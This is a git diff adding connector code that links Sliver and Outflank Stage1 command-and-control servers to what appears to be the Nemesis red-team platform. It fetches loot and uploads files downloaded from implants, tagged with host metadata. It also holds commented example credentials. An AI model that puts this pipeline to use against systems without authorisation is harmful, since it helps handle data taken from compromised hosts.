+ # 2GB triggers an overflow error in the gRPC library so we do 2GB-1
+ MAX_MESSAGE_LENGTH = (2 * GB) - 1
+
+ KEEP_ALIVE_TIMEOUT = 10000
+ CERT_COMMON_NAME = "multiplayer"
+
+ def __init__(self, config: SliverClientConfig):
+ self.config = config
+ self._channel: grpc.aio.Channel = None # type: ignore[assignment]
+ self._stub: SliverRPCStub = None # type: ignore[assignment]
+ self._log = logging.getLogger(self.__class__.__name__)
+
+ def is_connected(self) -> bool:
+ return self._channel is not None
+
+ @property
+ def target(self) -> str:
+ return "%s:%d" % (
+ self.config.lhost,
+ self.config.lport,
+ )
+
+ @property
+ def credentials(self) -> grpc.ChannelCredentials:
+ return grpc.composite_channel_credentials(
+ grpc.ssl_channel_credentials(
+ root_certificates=self.config.ca_certificate.encode(),
+ private_key=self.config.private_key.encode(),
+ certificate_chain=self.config.certificate.encode(),
+ ),
+ grpc.access_token_call_credentials(
+ access_token=self.config.token,
+ ),
+ )
+
+ @property
+ def options(self):
+ return [
+ ("grpc.keepalive_timeout_ms", self.KEEP_ALIVE_TIMEOUT),
+ ("grpc.ssl_target_name_override", self.CERT_COMMON_NAME),
+ ("grpc.max_send_message_length", self.MAX_MESSAGE_LENGTH),
+ ("grpc.max_receive_message_length", self.MAX_MESSAGE_LENGTH),
+ ]
+
+
+class SliverClient(BaseClient):
+
+ """Asyncio client implementation"""
+
+ beacon_event_types = ["beacon-registered"]
+ session_event_types = ["session-connected", "session-disconnected"]
+ job_event_types = ["job-started", "job-stopped"]
+ canary_event_types = ["canary"]
+
+ async def connect(self) -> client_pb2.Version:
+ """Establish a connection to the Sliver server
+
+ :return: Protobuf Version object, containing the server's version information
+ :rtype: client_pb2.Version
+ """
+ self._channel = grpc.aio.secure_channel(
+ target=self.target,
+ credentials=self.credentials,
+ options=self.options,
+ )
+ self._stub = SliverRPCStub(self._channel)
+ return await self.version()
+
+ async def version(self, timeout=TIMEOUT) -> client_pb2.Version:
+ """Get server version information
+
+ :param timeout: gRPC timeout, defaults to 60 seconds
+ :type timeout: int, optional
+ :return: Protobuf Version object
+ :rtype: client_pb2.Version
+ """
+ return await self._stub.GetVersion(common_pb2.Empty(), timeout=timeout)
+
+ async def loot_all(self) -> List[client_pb2.Loot]:
+ """Get all loot
+
+ :return: List of Protobuf Loot objects
+ :rtype: List[client_pb2.Loot]
+ """
+ return (await self._stub.LootAll(common_pb2.Empty()))
+
+ async def loot_content(self, loot: client_pb2.Loot) -> client_pb2.Loot:
+ """Get loot content
+
+ :param loot: Protobuf Loot object
+ :type loot: client_pb2.Loot
+ :return: Protobuf Loot object
+ :rtype: client_pb2.Loot
+ """
+ return await self._stub.LootContent(loot)
+
+ def events(self) -> AsyncGenerator[client_pb2.Event, None]:
+ """Get events
+
+ :return: AsyncGenerator of Protobuf Event objects
+ :rtype: AsyncGenerator[client_pb2.Event, None]
+ """
+ return self._stub.Events(common_pb2.Empty())
diff --git a/cmd/connectors/sliver-connector/start.sh b/cmd/connectors/sliver-connector/start.sh
new file mode 100644
index 0000000..4fbf1fe
--- /dev/null
+++ b/cmd/connectors/sliver-connector/start.sh
@@ -0,0 +1,2 @@
+#!/bin/sh
+sudo docker-compose up --build
diff --git a/cmd/connectors/stage1-connector/.gitignore b/cmd/connectors/stage1-connector/.gitignore
new file mode 100644
index 0000000..ddf4581
--- /dev/null
+++ b/cmd/connectors/stage1-connector/.gitignore
@@ -0,0 +1,163 @@
+# Byte-compiled / optimized / DLL files
+__pycache__/
+*.py[cod]
+*$py.class
+
+# C extensions
+*.so
+
+# Distribution / packaging
+.Python
+build/
+develop-eggs/
+dist/
+downloads/
+eggs/
+.eggs/
+lib64/
+parts/
+sdist/
+var/
+wheels/
+share/python-wheels/
+*.egg-info/
+.installed.cfg
+*.egg
+MANIFEST
+
+# PyInstaller
+# Usually these files are written by a python script from a template
+# before PyInstaller builds the exe, so as to inject date/other infos into it.
+*.manifest
+*.spec
+
+# Installer logs
+pip-log.txt
+pip-delete-this-directory.txt
+
+# Unit test / coverage reports
+htmlcov/
+.tox/
+.nox/
+.coverage
+.coverage.*
+.cache
+nosetests.xml
+coverage.xml
+*.cover
+*.py,cover
+.hypothesis/
+.pytest_cache/
+cover/
+
+# Translations
+*.mo
+*.pot
+
+# Django stuff:
+*.log
+local_settings.py
+db.sqlite3
+db.sqlite3-journal
+
+# Flask stuff:
+instance/
+.webassets-cache
+
+# Scrapy stuff:
+.scrapy
+
+# Sphinx documentation
+docs/_build/
+
+# PyBuilder
+.pybuilder/
+target/
+
+# Jupyter Notebook
+.ipynb_checkpoints
+
+# IPython
+profile_default/
+ipython_config.py
+
+# pyenv
+# For a library or package, you might want to ignore these files since the code is
+# intended to run in multiple environments; otherwise, check them in:
+# .python-version
+
+# pipenv
+# According to pypa/pipenv#598, it is recommended to include Pipfile.lock in version control.
+# However, in case of collaboration, if having platform-specific dependencies or dependencies
+# having no cross-platform support, pipenv may install dependencies that don't work, or not
+# install all needed dependencies.
+#Pipfile.lock
+
+# poetry
+# Similar to Pipfile.lock, it is generally recommended to include poetry.lock in version control.
+# This is especially recommended for binary packages to ensure reproducibility, and is more
+# commonly ignored for libraries.
+# https://python-poetry.org/docs/basic-usage/#commit-your-poetrylock-file-to-version-control
+#poetry.lock
+
+# pdm
+# Similar to Pipfile.lock, it is generally recommended to include pdm.lock in version control.
+#pdm.lock
+# pdm stores project-wide configurations in .pdm.toml, but it is recommended to not include it
+# in version control.
+# https://pdm.fming.dev/#use-with-ide
+.pdm.toml
+
+# PEP 582; used by e.g. github.com/David-OConnor/pyflow and github.com/pdm-project/pdm
+__pypackages__/
+
+# Celery stuff
+celerybeat-schedule
+celerybeat.pid
+
+# SageMath parsed files
+*.sage.py
+
+# Environments
+.env
+.venv
+env/
+venv/
+ENV/
+env.bak/
+venv.bak/
+
+# Spyder project settings
+.spyderproject
+.spyproject
+
+# Rope project settings
+.ropeproject
+
+# mkdocs documentation
+/site
+
+# mypy
+.mypy_cache/
+.dmypy.json
+dmypy.json
+
+# Pyre type checker
+.pyre/
+
+# pytype static type analyzer
+.pytype/
+
+# Cython debug symbols
+cython_debug/
+
+# PyCharm
+# JetBrains specific template is maintained in a separate JetBrains.gitignore that can
+# be found at https://github.com/github/gitignore/blob/main/Global/JetBrains.gitignore
+# and can be added to the global gitignore or merged into this file. For a more nuclear
+# option (not recommended) you can uncomment the following to ignore the entire idea folder.
+#.idea/
+
+process_categorizer-data/
+# Ignore dynaconf secret files
+.secrets.*
diff --git a/cmd/connectors/stage1-connector/.isort.cfg b/cmd/connectors/stage1-connector/.isort.cfg
new file mode 100644
index 0000000..bc35313
--- /dev/null
+++ b/cmd/connectors/stage1-connector/.isort.cfg
@@ -0,0 +1,16 @@
+[settings]
+profile=black
+extra_standard_library=asgiref
+known_first_party=nemesis_connector
+known_outflank_stage1=outflank_stage1
+src_paths=isort,test
+line_length=90
+use_parentheses=True
+multi_line_output=3
+include_trailing_comma=True
+ensure_newline_before_comments=True
+sections=FUTURE,STDLIB,outflank_stage1,THIRDPARTY,FIRSTPARTY,LOCALFOLDER
+import_heading_stdlib=Standard Libraries
+import_heading_firstparty=Nemesis Connector
+import_heading_outflank_stage1=Outflank Stage1 Libraries
+import_heading_thirdparty=3rd Party Libraries
\ No newline at end of file
diff --git a/cmd/connectors/stage1-connector/.python-version b/cmd/connectors/stage1-connector/.python-version
new file mode 100644
index 0000000..d5cd4cc
--- /dev/null
+++ b/cmd/connectors/stage1-connector/.python-version
@@ -0,0 +1 @@
+3.10.10
diff --git a/cmd/connectors/stage1-connector/.vscode/launch.json b/cmd/connectors/stage1-connector/.vscode/launch.json
new file mode 100644
index 0000000..eb812c3
--- /dev/null
+++ b/cmd/connectors/stage1-connector/.vscode/launch.json
@@ -0,0 +1,20 @@
+{
+ // Use IntelliSense to learn about possible attributes.
+ // Hover to view descriptions of existing attributes.
+ // For more information, visit: https://go.microsoft.com/fwlink/?linkid=830387
+ "version": "0.2.0",
+ "configurations": [
+ {
+ "name": "Service: enrichment",
+ "type": "python",
+ "request": "launch",
+ "program": "${workspaceFolder}/enrichment/__main__.py",
+ "console": "integratedTerminal",
+ "cwd": "${workspaceFolder}",
+ "justMyCode": false,
+ "env": {
+ "NEMESIS_URL": "http://192.168.230.42:8080/api/"
+ }
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/connectors/stage1-connector/.vscode/settings.json b/cmd/connectors/stage1-connector/.vscode/settings.json
new file mode 100644
index 0000000..89f6a50
--- /dev/null
+++ b/cmd/connectors/stage1-connector/.vscode/settings.json
@@ -0,0 +1,66 @@
+{
+ "[javascript]": {
+ "editor.formatOnSave": false
+ },
+ "[html]": {
+ "editor.formatOnSave": false
+ },
+ "[python]": {
+ "editor.formatOnSave": true,
+ "editor.codeActionsOnSave": {
+ "source.organizeImports": true
+ },
+ "editor.defaultFormatter": "ms-python.black-formatter"
+ },
+ "editor.formatOnSave": true,
+ "files.exclude": {
+ "**/.DS_Store": true,
+ "**/.git": true,
+ "**/.hg": true,
+ "**/.mypy_cache": true,
+ "**/.pytest_cache": true,
+ "**/.svn": true,
+ "**/.venv": true,
+ "**/__pycache__": true,
+ "**/Thumbs.db": true
+ },
+ "files.trimTrailingWhitespace": true,
+ "files.watcherExclude": {
+ "**/__pycache__/**": true,
+ "**/.git/objects/**": true,
+ "**/.git/subtree-cache/**": true,
+ "**/.hg/store/**": true,
+ "**/.ipynb_checkpoints/**": true,
+ "**/.mypy_cache/**": true,
+ "**/.pytest_cache/**": true,
+ "**/.venv/**": true,
+ "**/*.egg-info/**": true,
+ "**/build/**": true,
+ "**/dist/**": true,
+ "**/node_modules/*/**": true,
+ },
+ "python.analysis.diagnosticSeverityOverrides": {
+ "reportMissingImports": "none",
+ "reportMissingModuleSource": "none",
+ },
+ "python.formatting.provider": "black",
+ "python.formatting.blackArgs": [
+ "--line-length",
+ "240"
+ ],
+ "python.analysis.useLibraryCodeForTypes": true, // Pyright
+ "python.linting.enabled": true,
+ "python.linting.flake8Args": [
+ "--max-line-length=240",
+ "--ignore=E203,E722,W503",
+ ],
+ "python.linting.flake8Enabled": true,
+ "python.linting.lintOnSave": true,
+ "python.linting.pylintEnabled": false,
+ "python.testing.pytestArgs": [
+ "tests"
+ ],
+ "python.testing.unittestEnabled": false,
+ "python.testing.pytestEnabled": true,
+ "python.analysis.typeCheckingMode": "basic",
+}
\ No newline at end of file
diff --git a/cmd/connectors/stage1-connector/.vscode/tasks.json b/cmd/connectors/stage1-connector/.vscode/tasks.json
new file mode 100644
index 0000000..f016c49
--- /dev/null
+++ b/cmd/connectors/stage1-connector/.vscode/tasks.json
@@ -0,0 +1,17 @@
+{
+ // See https://go.microsoft.com/fwlink/?LinkId=733558
+ // for the documentation about the tasks.json format
+ "version": "2.0.0",
+ "tasks": [
+ {
+ "label": "Restart bot_engine",
+ "type": "shell",
+ "command": "docker-compose kill bot_engine && docker-compose up -d bot_engine",
+ "problemMatcher": [],
+ "group": {
+ "kind": "build",
+ "isDefault": true
+ }
+ }
+ ]
+}
\ No newline at end of file
diff --git a/cmd/connectors/stage1-connector/Dockerfile b/cmd/connectors/stage1-connector/Dockerfile
new file mode 100644
index 0000000..8e35075
--- /dev/null
+++ b/cmd/connectors/stage1-connector/Dockerfile
@@ -0,0 +1,2 @@
+FROM server_bot_engine:latest
+
diff --git a/cmd/connectors/stage1-connector/README.md b/cmd/connectors/stage1-connector/README.md
new file mode 100644
index 0000000..f09940d
--- /dev/null
+++ b/cmd/connectors/stage1-connector/README.md
@@ -0,0 +1,12 @@
+# Setup
+The OST Stage1 connector runs as an OST bot (refer to their installation instructions for where to put the python file).
+
+The following environment variables configure the container:
+- `NEMESIS_URL` - The URI of Nemesis's API (e.g., http://10.0.0.1:8080/api/)
+- `NEMESIS_USERNAME` - Username for the Nemesis API
+- `NEMESIS_PASSWORD` - Password for the Nemesis API
+- `NEMESIS_PROJECT` - Name of the project being worked on (e.g., ACME-CORP)
+- `NEMESIS_EXPIRATION_DAYS` - Days until the data should expire and be deleted
+- `NEMESIS_LOG_LEVEL` - Logging level (e.g., DEBUG/INFO)
+
+These can be set via stage1's docker-compose file or by hardcoding them in [nemesis_connector.py](nemesis_connector/nemesis_connector.py)
\ No newline at end of file
diff --git a/cmd/connectors/stage1-connector/nemesis_connector/__init__.py b/cmd/connectors/stage1-connector/nemesis_connector/__init__.py
new file mode 100644
index 0000000..e69de29
diff --git a/cmd/connectors/stage1-connector/nemesis_connector/config.toml b/cmd/connectors/stage1-connector/nemesis_connector/config.toml
new file mode 100644
index 0000000..a169061
--- /dev/null
+++ b/cmd/connectors/stage1-connector/nemesis_connector/config.toml
@@ -0,0 +1 @@
+url = "https://192.168.230.42:8080/api/"
diff --git a/cmd/connectors/stage1-connector/nemesis_connector/nemesis_connector.py b/cmd/connectors/stage1-connector/nemesis_connector/nemesis_connector.py
new file mode 100644
index 0000000..9427d7f
--- /dev/null
+++ b/cmd/connectors/stage1-connector/nemesis_connector/nemesis_connector.py
@@ -0,0 +1,420 @@
+# Standard Libraries
+import asyncio
+import logging
+import os
+from dataclasses import dataclass
+from datetime import datetime, timedelta
+from enum import Enum
+from typing import Any, NewType, Optional
+from urllib.parse import urlparse
+from uuid import UUID
+
+# Outflank Stage1 Libraries
+from outflank_stage1 import Config
+from outflank_stage1.bot import BaseBot
+from outflank_stage1.implant import Implant
+from outflank_stage1.services.implant_service import ImplantService
+from outflank_stage1.task import BaseTask
+# 3rd Party Libraries
+from pip._internal import main as pipmain
+
+# Hard code creds if you don't want to bother editing OST's docker-compose file
+# os.environ["NEMESIS_URL"] = "http://192.168.230.42:8080/api/"
+# os.environ["NEMESIS_USERNAME"] = "nemesis"
+# os.environ["NEMESIS_PASSWORD"] = "Password123"
+# os.environ["NEMESIS_PROJECT"] = "ACME"
+# os.environ["NEMESIS_EXPIRATION_DAYS"] = "365"
+# os.environ["NEMESIS_LOG_LEVEL"] = "DEBUG"
+
+# Ugly hack so we don't have to customize stage1's docker container
+# Assumes the docker container has internet access so it can install pip packages
+packages = ["httpx", "dynaconf", "pydantic"]
+res = pipmain(["--disable-pip-version-check", "install", "--root-user-action=ignore"] + packages)
+if res != 0:
+ raise Exception("NemesisConnector was unable to install pip dependencies. Exiting...")
+
+# 3rd Party Libraries
+import httpx # noqa
+from dynaconf import Dynaconf, Validator # noqa
+from dynaconf.base import Settings # noqa
+from pydantic.types import PositiveInt # noqa
+
+
+def is_uri(value: str) -> bool:
+ if value is None:
+ return False
+ try:
+ url = urlparse(value)
+ if url.scheme == "" or url.netloc == "":
+ return False
+ if url.scheme.lower() not in ["http", "https"]:
+ return False
+
+ return True
+ except ValueError:
+ return False
+
+
+# set environment variables
+validators = [
+ Validator("URL", "USERNAME", "PASSWORD", must_exist=True),
+ Validator("url", condition=is_uri, messages={"condition": "Invalid/missing protocol scheme and/or hostname"})
+]
+settings: Settings = Dynaconf(envvar_prefix="NEMESIS", validators=validators) # type: ignore
+settings.validators.validate()
+
+
+@dataclass
+class NemesisConnectorConfig:
+ url: str
+ username: str
+ password: str
+ project: str
+ expiration_days: PositiveInt = 365
+ log_level: str = "INFO"
+
+
+cfg = NemesisConnectorConfig(
+ url=settings.get("URL"),
+ username=settings.get("username"),
+ password=settings.get("password"),
+ project=settings.get("project"),
+ expiration_days=settings.get("expiration_days", 365),
+ log_level=settings.get("log_level", "INFO"),
+)
+
+logger = logging.getLogger("NemesisConnector")
+queue = asyncio.Queue()
+
+
+NemesisFileId = NewType("NemesisFileId", UUID)
+NemesisMessageId = NewType("NemesisMessageId", UUID)
+
+
+@dataclass
+class FileUploadRequest:
+ file_path: str
+
+
+@dataclass
+class FileUploadResponse:
+ object_id: NemesisFileId
+
+
+class NemesisAgent(Enum):
+ COBALTSTRIKE_BEACON = "cobaltstrike_beacon"
+ MANUAL = "manual" # For manually uploaded data
+ MERLIN = "merlin"
+ METASPLOIT_METERPRETER = "metasploit_meterpreter"
+ MYTHIC = "mythic"
+ SLIVER = "sliver"
+ STAGE1 = "stage1"
+
+
+class NemesisDataType(Enum):
+ FileData = "file_data"
+
+
+@dataclass
+class Metadata:
+ agent_id: str
+ agent_type: str
+ automated: bool
+ data_type: NemesisDataType
+ expiration: datetime
+ source: str
+ project: str
+ timestamp: datetime
+
+ def to_dict(self) -> dict[str, Any]:
+ out = {
+ "agent_id": self.agent_id,
+ "agent_type": self.agent_type,
+ "automated": self.automated,
+ "data_type": self.data_type.value,
+ "expiration": convert_to_nemesis_timestamp(self.expiration),
+ # "source": self.source,
+ "project": self.project,
+ "timestamp": convert_to_nemesis_timestamp(self.timestamp),
+ }
+ return out
+
+
+@dataclass
+class FileData:
+ path: str
+ size: PositiveInt
+ object_id: NemesisFileId
+
+
+@dataclass
+class FileDataRequest:
+ metadata: Metadata
+ data: list[FileData]
+
+
+@dataclass
+class DataResponse:
+ object_id: NemesisMessageId
+
+
+class NemesisApiClient:
+ client: httpx.Client
+
+ FILE_ENDPOINT = "/file"
+ DATA_ENDPOINT = "/data"
+
+ def __init__(self, url: str, auth: Optional[httpx.Auth] = None, transport: Optional[httpx.BaseTransport] = httpx.HTTPTransport(retries=5)) -> None:
+ """Create a new Nemesis API HTTP client.
+
+ Args:
+ url (str): Base URL to the Nemesis API. Example: https://nemesis.example.com/api/
+ auth (Optional[httpx.Auth]): Authentication to use for the API
+ """
+
+ self.client = httpx.Client(base_url=url, auth=auth, transport=transport)
+ headers = {"Content-Type": "application/octet-stream"}
+ self.client.headers.update(headers)
+
+ def send_file(self, r: FileUploadRequest) -> FileUploadResponse:
+ """Uploads a file to Nemesis and returns a Nemesis file object UUID.
+
+ Args:
+ data (FileDataRequest): API request parameters
+
+ Raises:
+ httpx.HttpStatusError: An exception containing information about HTTP error code and response body
+
+ Returns:
+ FileUploadResponse: Structure containing the fild object UUID
+ """
+ if not os.path.isfile(r.file_path):
+ raise Exception(f"File {r.file_path} does not exist")
+
+ # TODO: Stream the file instead of reading all bytes into memory
+ with open(r.file_path, "rb") as f:
+ data = f.read()
+ resp = self.client.post(self.FILE_ENDPOINT, content=data)
+
+ resp.raise_for_status()
+
+ obj = resp.json()
+ return FileUploadResponse(NemesisFileId(obj["object_id"]))
+
+ def send_file_data(self, data: FileDataRequest) -> DataResponse:
+ """Uploads a file_data object to Nemesis and returns a Nemesis file object UUID.
+
+ Args:
+ data (FileDataRequest): file_data object to up send to Nemesis
+
+ Raises:
+ httpx.HttpStatusError: An exception containing information about HTTP error code and response body
+
+ Returns:
+ DataResponse: Structure containing the object_id of the data message
+ """
+
+ json = {
+ "metadata": {
+ "agent_id": data.metadata.agent_id,
+ "agent_type": data.metadata.agent_type,
+ "automated": data.metadata.automated,
+ "data_type": data.metadata.data_type.value,
+ "expiration": convert_to_nemesis_timestamp(data.metadata.expiration),
+ # "source": data.metadata.source,
+ "project": data.metadata.project,
+ "timestamp": convert_to_nemesis_timestamp(data.metadata.timestamp),
+ },
+ "data": [],
+ }
+
+ for d in data.data:
+ json["data"].append(
+ {
+ "path": d.path,
+ "size": d.size,
+ "object_id": d.object_id,
+ }
+ )
+
+ resp = self.client.post(self.DATA_ENDPOINT, json=json)
+
+ resp.raise_for_status()
+
+ obj = resp.json()
+ return DataResponse(NemesisMessageId(obj["object_id"]))
+
+
+# coroutine to consume work
+async def consumer(queue):
+ while True:
+ task: BaseTask = await queue.get()
+
+ print(task)
+
+
+def loop_in_thread(loop):
+ asyncio.set_event_loop(loop)
+ loop.run_until_complete(consumer(queue))
+
+
+# loop = asyncio.get_event_loop()
+# t = threading.Thread(target=loop_in_thread, args=(loop,))
+# t.start()
+
+
+@dataclass
+class DownloadedFile:
+ """Represents a file that was downloaded from the implant.
+
+ Attributes:
+ file_uid (str): Unique name of the file on the current machines disk
+ path (str): The path of the file on the implant
+ timestamp (datetime): When the file was downloaded.
+
+ """
+
+ filename_on_disk: str
+ path: str
+ timestamp: datetime
+
+
+def convert_to_nemesis_timestamp(timestamp: datetime) -> str:
+ """Converts a datetime object to a Nemesis timestamp.
+
+ Args:
+ timestamp (datetime): The timestamp to convert
+
+ Returns:
+ str: The timestamp in Nemesis format
+ """
+ return timestamp.strftime("%Y-%m-%dT%H:%M:%S.000Z")
+
+
+class NemesisConnector(BaseBot):
+ _implant_service: ImplantService
+ _logger: logging.Logger
+
+ def __init__(self):
+ super().__init__()
+
+ logging.getLogger().setLevel(logging.DEBUG)
+
+ self._logger = logging.getLogger(__name__)
+ self._logger.setLevel(logging.DEBUG)
+ for handler in logger.handlers:
+ handler.setLevel(logging.DEBUG)
+
+ self._logger.info("Log level: %s", cfg.log_level)
+ self._implant_service = ImplantService()
+ self._logger.info("Nemesis Connector is running")
+
+ def get_download_disk_filepath(self, path: str, timestamp: datetime) -> Optional[str]:
+ """Returns the path to the downloaded file on disk.
+
+ Args:
+ path (str): Path of the file on the implant
+ timestamp (datetime): Timestamp of when the task request was sent (NOT the task response timestamp)
+
+ Raises:
+ Exception: If it cannot access the Downlaods API
+ Exception: If more than one download is returned
+
+ Returns:
+ str: The path to the downloaded file on disk
+ """
+ resp = httpx.get(Config.URL_API + "/api/downloads")
+
+ if resp.status_code != 200:
+ raise Exception(f"Unexpected status code {resp.status_code} when getting downloads")
+
+ timestampStr = timestamp.isoformat()
+ downloads = resp.json()
+ download = [x for x in downloads if x["path"] == path and x["timestamp"] == timestampStr]
+
+ if len(download) == 0:
+ self._logger.error(f"No download found for str path '{path}' and timestamp '{timestampStr}'")
+ return None
+
+ if len(download) > 1:
+ raise Exception(f"More than one download found for the path '{path} and timestamp '{timestampStr}'")
+
+ return Config.PATH_SHARED + "/downloads/" + download[0]["uid"]
+
+ def on_task_response(self, task: BaseTask):
+ # Throwing this onto a queue because these callback functions are synchronous and we don't want to backup other messages
+
+ if task.get_name() != "download":
+ return
+
+ # Obtain/validate required fields
+ response_timestamp = task.get_response_timestamp()
+ if not response_timestamp:
+ self._logger.error("No response timestamp in download response")
+ return
+
+ implant_uid = task.get_implant_uid()
+ if not implant_uid:
+ self._logger.error("No implant UID in download response")
+ return
+
+ filename = task.get_response()
+ if not filename:
+ self._logger.error("No filename in download response")
+ return
+
+ file_size = task.get_response_bytes_total()
+ if not file_size:
+ self._logger.error("No file_size in download response")
+ return
+
+ timestamp = task.get_timestamp()
+ if not timestamp:
+ self._logger.error("No timestamp in download response")
+ return
+
+ implant = self._implant_service.get_by_uid(implant_uid)
+ if not implant:
+ self._logger.error(f"No implant found for UID '{implant_uid}'")
+ return
+
+ hostname = implant.get_hostname()
+ if not hostname:
+ self._logger.error(f"No hostname found for implant UID '{implant_uid}'")
+ return
+
+ # Now process the response
+ download = self.get_download_disk_filepath(filename, timestamp)
+ if not download:
+ self._logger.error(f"No download found for the filename '{filename}' and timestamp '{timestamp}'")
+ return
+
+ try:
+ client = NemesisApiClient(cfg.url, httpx.BasicAuth(cfg.username, cfg.password))
+ fileUploadResp = client.send_file(FileUploadRequest(download))
+
+ self._logger.info(f"Uploaded file '{filename}' to nemesis! File ID: {fileUploadResp.object_id}. Sending file data message...")
+
+ m = Metadata(
+ agent_id=implant_uid,
+ agent_type=NemesisAgent.STAGE1.value,
+ automated=True,
+ data_type=NemesisDataType.FileData,
+ expiration=(response_timestamp + timedelta(days=cfg.expiration_days)),
+ source=hostname,
+ project=cfg.project,
+ timestamp=response_timestamp,
+ )
+
+ file_data = FileData(path=filename, size=file_size, object_id=fileUploadResp.object_id)
+ fdReq = FileDataRequest(metadata=m, data=[file_data])
+
+ fdResp = client.send_file_data(fdReq)
+
+ self._logger.info(f"Sent file_data message to nemesis! Message ID: {fdResp.object_id}")
+
+ except httpx.HTTPStatusError as e:
+ self._logger.exception(f"Error sending file data message. Response body: {e.response.text} Exception: {e}")
+
+ def on_new_implant(self, implant: Implant):
+ self._logger.info(f"New implant: {implant.get_hostname()} ({implant.get_ip()})")
diff --git a/cmd/connectors/stage1-connector/poetry.lock b/cmd/connectors/stage1-connector/poetry.lock
new file mode 100644
index 0000000..8ad64c2
--- /dev/null
+++ b/cmd/connectors/stage1-connector/poetry.lock
@@ -0,0 +1,690 @@
+# This file is automatically @generated by Poetry 1.4.0 and should not be changed by hand.
+
+[[package]]
+name = "anyio"
+version = "3.6.2"
+description = "High level compatibility layer for multiple asynchronous event loop implementations"
+category = "main"
+optional = false
+python-versions = ">=3.6.2"
+files = [
+ {file = "anyio-3.6.2-py3-none-any.whl", hash = "sha256:fbbe32bd270d2a2ef3ed1c5d45041250284e31fc0a4df4a5a6071842051a51e3"},
+ {file = "anyio-3.6.2.tar.gz", hash = "sha256:25ea0d673ae30af41a0c442f81cf3b38c7e79fdc7b60335a4c14e05eb0947421"},
+]
+
+[package.dependencies]
+idna = ">=2.8"
+sniffio = ">=1.1"
+
+[package.extras]
+doc = ["packaging", "sphinx-autodoc-typehints (>=1.2.0)", "sphinx-rtd-theme"]
+test = ["contextlib2", "coverage[toml] (>=4.5)", "hypothesis (>=4.0)", "mock (>=4)", "pytest (>=7.0)", "pytest-mock (>=3.6.1)", "trustme", "uvloop (<0.15)", "uvloop (>=0.15)"]
+trio = ["trio (>=0.16,<0.22)"]
+
+[[package]]
+name = "attrs"
+version = "22.2.0"
+description = "Classes Without Boilerplate"
+category = "dev"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "attrs-22.2.0-py3-none-any.whl", hash = "sha256:29e95c7f6778868dbd49170f98f8818f78f3dc5e0e37c0b1f474e3561b240836"},
+ {file = "attrs-22.2.0.tar.gz", hash = "sha256:c9227bfc2f01993c03f68db37d1d15c9690188323c067c641f1a35ca58185f99"},
+]
+
+[package.extras]
+cov = ["attrs[tests]", "coverage-enable-subprocess", "coverage[toml] (>=5.3)"]
+dev = ["attrs[docs,tests]"]
+docs = ["furo", "myst-parser", "sphinx", "sphinx-notfound-page", "sphinxcontrib-towncrier", "towncrier", "zope.interface"]
+tests = ["attrs[tests-no-zope]", "zope.interface"]
+tests-no-zope = ["cloudpickle", "cloudpickle", "hypothesis", "hypothesis", "mypy (>=0.971,<0.990)", "mypy (>=0.971,<0.990)", "pympler", "pympler", "pytest (>=4.3.0)", "pytest (>=4.3.0)", "pytest-mypy-plugins", "pytest-mypy-plugins", "pytest-xdist[psutil]", "pytest-xdist[psutil]"]
+
+[[package]]
+name = "black"
+version = "22.12.0"
+description = "The uncompromising code formatter."
+category = "dev"
+optional = false
+python-versions = ">=3.7"
+files = [
+ {file = "black-22.12.0-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:9eedd20838bd5d75b80c9f5487dbcb06836a43833a37846cf1d8c1cc01cef59d"},
+ {file = "black-22.12.0-cp310-cp310-win_amd64.whl", hash = "sha256:159a46a4947f73387b4d83e87ea006dbb2337eab6c879620a3ba52699b1f4351"},
+ {file = "black-22.12.0-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:d30b212bffeb1e252b31dd269dfae69dd17e06d92b87ad26e23890f3efea366f"},
+ {file = "black-22.12.0-cp311-cp311-win_amd64.whl", hash = "sha256:7412e75863aa5c5411886804678b7d083c7c28421210180d67dfd8cf1221e1f4"},
+ {file = "black-22.12.0-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:c116eed0efb9ff870ded8b62fe9f28dd61ef6e9ddd28d83d7d264a38417dcee2"},
+ {file = "black-22.12.0-cp37-cp37m-win_amd64.whl", hash = "sha256:1f58cbe16dfe8c12b7434e50ff889fa479072096d79f0a7f25e4ab8e94cd8350"},
+ {file = "black-22.12.0-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:77d86c9f3db9b1bf6761244bc0b3572a546f5fe37917a044e02f3166d5aafa7d"},
+ {file = "black-22.12.0-cp38-cp38-win_amd64.whl", hash = "sha256:82d9fe8fee3401e02e79767016b4907820a7dc28d70d137eb397b92ef3cc5bfc"},
+ {file = "black-22.12.0-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:101c69b23df9b44247bd88e1d7e90154336ac4992502d4197bdac35dd7ee3320"},
+ {file = "black-22.12.0-cp39-cp39-win_amd64.whl", hash = "sha256:559c7a1ba9a006226f09e4916060982fd27334ae1998e7a38b3f33a37f7a2148"},
+ {file = "black-22.12.0-py3-none-any.whl", hash = "sha256:436cc9167dd28040ad90d3b404aec22cedf24a6e4d7de221bec2730ec0c97bcf"},
+ {file = "black-22.12.0.tar.gz", hash = "sha256:229351e5a18ca30f447bf724d007f890f97e13af070bb6ad4c0a441cd7596a2f"},
+]
+
+[package.dependencies]
+click = ">=8.0.0"
+mypy-extensions = ">=0.4.3"
+pathspec = ">=0.9.0"
+platformdirs = ">=2"
+tomli = {version = ">=1.1.0", markers = "python_full_version < \"3.11.0a7\""}
+
+[package.extras]
+colorama = ["colorama (>=0.4.3)"]
+d = ["aiohttp (>=3.7.4)"]
+jupyter = ["ipython (>=7.8.0)", "tokenize-rt (>=3.2.0)"]
+uvloop = ["uvloop (>=0.15.2)"]
+
+[[package]]
+name = "certifi"
+version = "2022.12.7"
+description = "Python package for providing Mozilla's CA Bundle."
+category = "main"
+optional = false
+python-versions = ">=3.6"
+files = [
+ {file = "certifi-2022.12.7-py3-none-any.whl", hash = "sha256:4ad3232f5e926d6718ec31cfc1fcadfde020920e278684144551c91769c7bc18"},
+ {file = "certifi-2022.12.7.tar.gz", hash = "sha256:35824b4c3a97115964b408844d64aa14db1cc518f6562e8d7261699d1350a9e3"},
+]
+
+[[package]]
+name = "charset-normalizer"
+version = "3.1.0"
+description = "The Real First Universal Charset Detector. Open, modern and actively maintained alternative to Chardet."
+category = "main"
+optional = false
+python-versions = ">=3.7.0"
